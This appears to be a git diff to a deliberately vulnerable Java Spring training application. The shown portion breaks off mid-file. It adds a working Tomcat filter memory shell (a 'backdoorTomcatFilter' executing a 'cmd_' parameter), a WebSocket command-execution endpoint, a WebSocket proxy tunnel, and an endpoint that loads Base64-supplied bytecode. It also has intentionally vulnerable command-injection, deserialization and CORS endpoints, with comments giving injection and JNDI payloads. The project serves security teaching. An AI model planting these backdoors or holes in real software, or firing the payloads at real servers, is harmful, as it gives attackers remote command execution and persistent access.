b/src/main/java/org/joychou/config/SwaggerConfig.java @@ -0,0 +1,31 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; + +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spring.web.plugins.Docket; +import springfox.documentation.swagger2.annotations.EnableSwagger2; + + +@Configuration +@EnableSwagger2 +public class SwaggerConfig { + + @Value("${swagger.enable}") + private boolean enableSwagger; + + @Bean + public Docket api() { + return new Docket(DocumentationType.SWAGGER_2) + .enable(enableSwagger) + .select() + .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build(); + } + +} diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java new file mode 100644 index 00000000..15822d59 --- /dev/null +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -0,0 +1,105 @@ +package org.joychou.config; + +import java.lang.reflect.Field; +import org.apache.catalina.core.StandardContext; +import java.io.IOException; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import java.lang.reflect.Constructor; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.Context; +import org.springframework.stereotype.Component; + +import javax.servlet.*; +import java.util.*; + +//@Component +public class TomcatFilterMemShell implements Filter { + static{ + try { + System.out.println("Tomcat filter backdoor class is loading..."); + final String name = "backdoorTomcatFilter"; + final String URLPattern = "/*"; + + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + // standardContext为tomcat标准上下文, + StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + + Class aClass; + try{ + // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext + // 适用于内嵌式springboot的tomcat + aClass = (Class) standardContext.getClass().getSuperclass(); + }catch (Exception e){ + aClass = standardContext.getClass(); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + // 获取当前tomcat标准上下文中已经存在的filterConfigs + Map filterConfigs = (Map) Configs.get(standardContext); + + // 判断下防止重复注入 + if (filterConfigs.get(name) == null) { + // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 + TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(backdoorFilter); + filterDef.setFilterName(name); + filterDef.setFilterClass(backdoorFilter.getClass().getName()); + standardContext.addFilterDef(filterDef); + + // 构造fiterMap,将filterMap添加到standardContext的FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(URLPattern); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 + filterConfigs.put(name, filterConfig); + System.out.println("Tomcat filter backdoor inject success!"); + } else System.out.println("It has been successfully injected, do not inject again."); + } catch (Exception e) { + System.out.println(e.getMessage()); + } + } + + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + String cmd; + if ((cmd = servletRequest.getParameter("cmd_")) != null) { + Process process = Runtime.getRuntime().exec(cmd); + java.io.BufferedReader bufferedReader = new java.io.BufferedReader( + new java.io.InputStreamReader(process.getInputStream())); + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line).append('\n'); + } + servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); + servletResponse.getOutputStream().flush(); + servletResponse.getOutputStream().close(); + return; + } + + filterChain.doFilter(servletRequest, servletResponse); + } + + + @Override + public void destroy() { + + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java index cd4770d4..28ee6967 100644 --- a/src/main/java/org/joychou/config/WebConfig.java +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -3,53 +3,136 @@ import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Component; +import java.util.ArrayList; + /** * Solve can't get value in filter by @Value when not using embed tomcat. * * @author JoyChou @2019-07-24 */ -@Component +@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig public class WebConfig { - private static Boolean referSecEnabled = false; private static String[] callbacks; + private static Boolean jsonpReferCheckEnabled = false; + private static String[] jsonpRefererHost; private static String[] referWhitelist; private static String[] referUris; + private static Boolean referSecEnabled = false; + private static String businessCallback; + private static ArrayList safeDomains = new ArrayList<>(); + private static ArrayList blockDomains = new ArrayList<>(); + private static ArrayList ssrfSafeDomains = new ArrayList<>(); + private static ArrayList ssrfBlockDomains = new ArrayList<>(); + private static ArrayList ssrfBlockIps = new ArrayList<>(); - @Value("${joychou.security.referer.enabled}") - public void setReferSecEnabled(Boolean referSecEnabled){ - WebConfig.referSecEnabled = referSecEnabled; + /** + * application.properties里object自动转jsonp的referer校验开关 + * + * @param jsonpReferCheckEnabled jsonp校验开关 + */ + @Value("${joychou.security.jsonp.referer.check.enabled}") + public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) { + WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled; } - public static Boolean getReferSecEnabled(){ - return referSecEnabled; + + public static Boolean getJsonpReferCheckEnabled() { + return jsonpReferCheckEnabled; } @Value("${joychou.security.jsonp.callback}") - public void setCallbacks(String[] callbacks){ + public void setJsonpCallbacks(String[] callbacks) { WebConfig.callbacks = callbacks; } - public static String[] getCallbacks(){ + + public static String[] getJsonpCallbacks() { return callbacks; } - @Value("${joychou.security.referer.hostwhitelist}") - public void setReferWhitelist(String[] referWhitelist){ + @Value("${joychou.security.referer.enabled}") + public void setReferSecEnabled(Boolean referSecEnabled) { + WebConfig.referSecEnabled = referSecEnabled; + } + + public static Boolean getReferSecEnabled() { + return referSecEnabled; + } + + + @Value("${joychou.security.referer.host}") + public void setReferWhitelist(String[] referWhitelist) { WebConfig.referWhitelist = referWhitelist; } - public static String[] getReferWhitelist(){ + + public static String[] getReferWhitelist() { return referWhitelist; } @Value("${joychou.security.referer.uri}") - public void setReferUris(String[] referUris) - { + public void setReferUris(String[] referUris) { WebConfig.referUris = referUris; } - public static String[] getReferUris(){ + + public static String[] getReferUris() { return referUris; } + + + @Value("${joychou.business.callback}") + public void setBusinessCallback(String businessCallback) { + WebConfig.businessCallback = businessCallback; + } + + public static String getBusinessCallback() { + return businessCallback; + } + + + void setSafeDomains(ArrayList safeDomains) { + WebConfig.safeDomains = safeDomains; + } + + public static ArrayList getSafeDomains() { + return safeDomains; + } + + + void setBlockDomains(ArrayList blockDomains) { + WebConfig.blockDomains = blockDomains; + } + + public static ArrayList getBlockDomains() { + return blockDomains; + } + + + void setSsrfSafeDomains(ArrayList ssrfSafeDomains) { + WebConfig.ssrfSafeDomains = ssrfSafeDomains; + } + + public static ArrayList getSsrfSafeDomains() { + return ssrfSafeDomains; + } + + + void setSsrfBlockDomains(ArrayList ssrfBlockDomains) { + WebConfig.ssrfBlockDomains = ssrfBlockDomains; + } + + public static ArrayList getSsrfBlockDomainsDomains() { + return ssrfBlockDomains; + } + + + void setSsrfBlockIps(ArrayList ssrfBlockIps) { + WebConfig.ssrfBlockIps = ssrfBlockIps; + } + + public static ArrayList getSsrfBlockIps() { + return ssrfBlockIps; + } } \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java new file mode 100644 index 00000000..ae4a0f1a --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java @@ -0,0 +1,46 @@ +package org.joychou.config; + +import javax.websocket.*; +import java.io.InputStream; + +public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onClose(Session session, CloseReason closeReason) { + super.onClose(session, closeReason); + } + + @Override + public void onError(Session session, Throwable throwable) { + super.onError(session, throwable); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java new file mode 100644 index 00000000..4c1f7710 --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java @@ -0,0 +1,111 @@ +package org.joychou.config; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WebSocketsProxyEndpoint extends Endpoint { + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java deleted file mode 100644 index bf93c7ce..00000000 --- a/src/main/java/org/joychou/controller/CORS.java +++ /dev/null @@ -1,64 +0,0 @@ -package org.joychou.controller; - -import org.joychou.security.SecurityUtil; -import org.springframework.web.bind.annotation.CrossOrigin; -import org.springframework.web.bind.annotation.RequestMapping; -import org.joychou.controller.jsonp.JSONP; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - -/** - * @author JoyChou (joychou@joychou.org) - * @date 2018.10.24 - * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS - */ - -@RestController -@RequestMapping("/cors") -public class CORS { - - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - - @RequestMapping("/vuls1") - private static String vuls1(HttpServletRequest request, HttpServletResponse response) { - // 获取Header中的Origin - String origin = request.getHeader("origin"); - response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 - response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie - return info; - } - - @RequestMapping("/vuls2") - private static String vuls2(HttpServletResponse response) { - // 不建议设置为* - // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 - response.setHeader("Access-Control-Allow-Origin", "*"); - return info; - } - - @CrossOrigin("*") - @RequestMapping("/vuls3") - private static String vuls3(HttpServletResponse response) { - return info; - } - - - @RequestMapping("/sec") - public String seccode(HttpServletRequest request, HttpServletResponse response) { - String origin = request.getHeader("Origin"); - - // 如果origin不为空并且origin不在白名单内,认定为不安全。 - // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && !SecurityUtil.checkURLbyEndsWith(origin, urlwhitelist) ) { - return "Origin is not safe."; - } - response.setHeader("Access-Control-Allow-Origin", origin); - response.setHeader("Access-Control-Allow-Credentials", "true"); - return JSONP.getUserInfo(request); - } - - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index b0e9af4c..b0b0e9f2 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -9,18 +9,17 @@ import javax.servlet.http.HttpServletResponse; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.01.03 - * @desc Java 1.7/1.8 no CRLF vuls (test in Java 1.7/1.8) + * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8) + * + * @author JoyChou (joychou@joychou.org) @2018-01-03 */ - @Controller @RequestMapping("/crlf") public class CRLFInjection { @RequestMapping("/safecode") @ResponseBody - private static void crlf(HttpServletRequest request, HttpServletResponse response) { + public void crlf(HttpServletRequest request, HttpServletResponse response) { response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java index 5481260e..21147270 100644 --- a/src/main/java/org/joychou/controller/CSRF.java +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -10,7 +10,7 @@ * check csrf using spring-security * Access http://localhost:8080/csrf/ -> click submit * - * @author JoyChou (joychou@joychou.org) @2019-05-31 + * @author JoyChou (joychou@joychou.org) @2019-05-31 */ @Controller @RequestMapping("/csrf") diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java new file mode 100644 index 00000000..acd4ff3f --- /dev/null +++ b/src/main/java/org/joychou/controller/ClassDataLoader.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; + +public class ClassDataLoader { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/classloader") + public void classData() { + try{ + ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + HttpServletRequest request = sra.getRequest(); + String classData = request.getParameter("classData"); + + byte[] classBytes = java.util.Base64.getDecoder().decode(classData); + java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); + defineClassMethod.setAccessible(true); + Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); + cc.newInstance(); + }catch(Exception e){ + logger.error(e.toString()); + } + } +} diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java index 758df64a..a1a99035 100644 --- a/src/main/java/org/joychou/controller/CommandInject.java +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -1,7 +1,7 @@ package org.joychou.controller; import org.joychou.security.SecurityUtil; -import org.joychou.utils.Tools; +import org.joychou.util.WebUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.GetMapping; @@ -16,26 +16,25 @@ public class CommandInject { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** - * http://localhost:8080/codeinject?filepath=/tmp;pwd + * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd * * @param filepath filepath * @return result */ @GetMapping("/codeinject") - public static String codeInject(String filepath) throws IOException { + public String codeInject(String filepath) throws IOException { String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); - return Tools.convertStreamToString(process.getInputStream()); + return WebUtils.convertStreamToString(process.getInputStream()); } /** * Host Injection - * host: Host: hacked by joychou;curl ssrf.http.joychou.org + * Host: hacked by joychou;cat /etc/passwd * http://localhost:8080/codeinject/host - * */ @GetMapping("/codeinject/host") public String codeInjectHost(HttpServletRequest request) throws IOException { @@ -46,11 +45,11 @@ public String codeInjectHost(HttpServletRequest request) throws IOException { ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); - return Tools.convertStreamToString(process.getInputStream()); + return WebUtils.convertStreamToString(process.getInputStream()); } @GetMapping("/codeinject/sec") - public static String codeInjectSec(String filepath) throws IOException { + public String codeInjectSec(String filepath) throws IOException { String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u."; @@ -59,6 +58,6 @@ public static String codeInjectSec(String filepath) throws IOException { ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); - return Tools.convertStreamToString(process.getInputStream()); + return WebUtils.convertStreamToString(process.getInputStream()); } } diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java new file mode 100644 index 00000000..6f0c7be2 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -0,0 +1,87 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; + +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RestController; + +import static org.springframework.web.util.WebUtils.getCookie; + + +/** + * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。 + */ +@RestController +@RequestMapping("/cookie") +public class Cookies { + + private static String NICK = "nick"; + + @GetMapping(value = "/vuln01") + public String vuln01(HttpServletRequest req) { + String nick = WebUtils.getCookieValueByName(req, NICK); // key code + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln02") + public String vuln02(HttpServletRequest req) { + String nick = null; + Cookie[] cookie = req.getCookies(); + + if (cookie != null) { + nick = getCookie(req, NICK).getValue(); // key code + } + + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln03") + public String vuln03(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + // key code. Equals can also be equalsIgnoreCase. + if (NICK.equals(cookie.getName())) { + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln04") + public String vuln04(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equalsIgnoreCase(NICK)) { // key code + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln05") + public String vuln05(@CookieValue("nick") String nick) { + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln06") + public String vuln06(@CookieValue(value = "nick") String nick) { + return "Cookie nick: " + nick; + } + +} diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java new file mode 100644 index 00000000..5b7d9741 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cors.java @@ -0,0 +1,119 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author JoyChou (joychou@joychou.org) @2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/CORS + */ + +@RestController +@RequestMapping("/cors") +public class Cors { + + private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; + + @GetMapping("/vuln/origin") + public String vuls1(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("origin"); + response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header + response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie + return info; + } + + @GetMapping("/vuln/setHeader") + public String vuls2(HttpServletResponse response) { + // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 + response.setHeader("Access-Control-Allow-Origin", "*"); + return info; + } + + + @GetMapping("*") + @RequestMapping("/vuln/crossOrigin") + public String vuls3() { + return info; + } + + + /** + * 重写Cors的checkOrigin校验方法 + * 支持自定义checkOrigin,让其额外支持一级域名 + * 代码:org/joychou/security/CustomCorsProcessor + */ + @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) + @GetMapping("/sec/crossOrigin") + public String secCrossOrigin() { + return info; + } + + + /** + * WebMvcConfigurer设置Cors + * 支持自定义checkOrigin + * 代码:org/joychou/config/CorsConfig.java + */ + @GetMapping("/sec/webMvcConfigurer") + public CsrfToken getCsrfToken_01(CsrfToken token) { + return token; + } + + + /** + * spring security设置cors + * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 + * 代码:org/joychou/security/WebSecurityConfig.java + */ + @GetMapping("/sec/httpCors") + public CsrfToken getCsrfToken_02(CsrfToken token) { + return token; + } + + + /** + * 自定义filter设置cors + * 支持自定义checkOrigin + * 代码:org/joychou/filter/OriginFilter.java + */ + @GetMapping("/sec/originFilter") + public CsrfToken getCsrfToken_03(CsrfToken token) { + return token; + } + + + /** + * CorsFilter设置cors。 + * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 + * 代码:org/joychou/filter/BaseCorsFilter.java + */ + @RequestMapping("/sec/corsFilter") + public CsrfToken getCsrfToken_04(CsrfToken token) { + return token; + } + + + @GetMapping("/sec/checkOrigin") + public String seccode(HttpServletRequest request, HttpServletResponse response) { + String origin = request.getHeader("Origin"); + + // 如果origin不为空并且origin不在白名单内,认定为不安全。 + // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 + if (origin != null && SecurityUtil.checkURL(origin) == null) { + return "Origin is not safe."; + } + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + return LoginUtils.getUserInfo2JsonStr(request); + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index d597087c..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,6 +1,7 @@ package org.joychou.controller; -import org.apache.commons.lang.StringUtils; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -11,9 +12,12 @@ import javax.servlet.http.HttpServletRequest; import java.io.ByteArrayInputStream; import java.io.IOException; +import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.util.Base64; +import static org.springframework.web.util.WebUtils.getCookie; + /** * Deserialize RCE using Commons-Collections gadget. * @@ -23,37 +27,24 @@ @RequestMapping("/deserialize") public class Deserialize { - - private static Logger logger= LoggerFactory.getLogger(Deserialize.class); + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** - * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 - * Add the result to rememberMe cookie. - * - * http://localhost:8080/deserialize/rememberMe/vul + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln */ - @RequestMapping("/rememberMe/vul") - public static String rememberMeVul(HttpServletRequest request) + @RequestMapping("/rememberMe/vuln") + public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { - Cookie[] cookies = request.getCookies(); - String rememberMe = ""; - - if (null == cookies) { - logger.info("No cookies."); - } else { - for (Cookie cookie : cookies) { - if ( cookie.getName().equals("rememberMe") ) { - rememberMe = cookie.getValue(); - } - } - } - - if (StringUtils.isBlank(rememberMe) ) { + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { return "No rememberMe cookie. Right?"; } + String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); ObjectInputStream in = new ObjectInputStream(bytes); in.readObject(); @@ -63,37 +54,47 @@ public static String rememberMeVul(HttpServletRequest request) } /** - * Check deserialize class using black list. - * - * http://localhost:8080/deserialize/rememberMe/security + * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security */ @RequestMapping("/rememberMe/security") - public static String rememberMeBlackClassCheck(HttpServletRequest request) + public String rememberMeBlackClassCheck(HttpServletRequest request) throws IOException, ClassNotFoundException { - Cookie[] cookies = request.getCookies(); - String rememberMe = ""; - - if (null == cookies) { - logger.info("No cookies in /rememberMe/security"); - } else { - for (Cookie cookie : cookies) { - if ( cookie.getName().equals("rememberMe") ) { - rememberMe = cookie.getValue(); - } - } - } + Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); - if (StringUtils.isBlank(rememberMe) ) { + if (null == cookie) { return "No rememberMe cookie. Right?"; } - + String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); - AntObjectInputStream in = new AntObjectInputStream(bytes); - in.readObject(); - in.close(); + + try { + AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException + in.readObject(); + in.close(); + } catch (InvalidClassException e) { + logger.info(e.toString()); + return e.toString(); + } return "I'm very OK."; } + + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java new file mode 100644 index 00000000..f6746354 --- /dev/null +++ b/src/main/java/org/joychou/controller/Dotall.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + + + +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.regex.Pattern; + + +/** + * Spring Security CVE-2022-22978

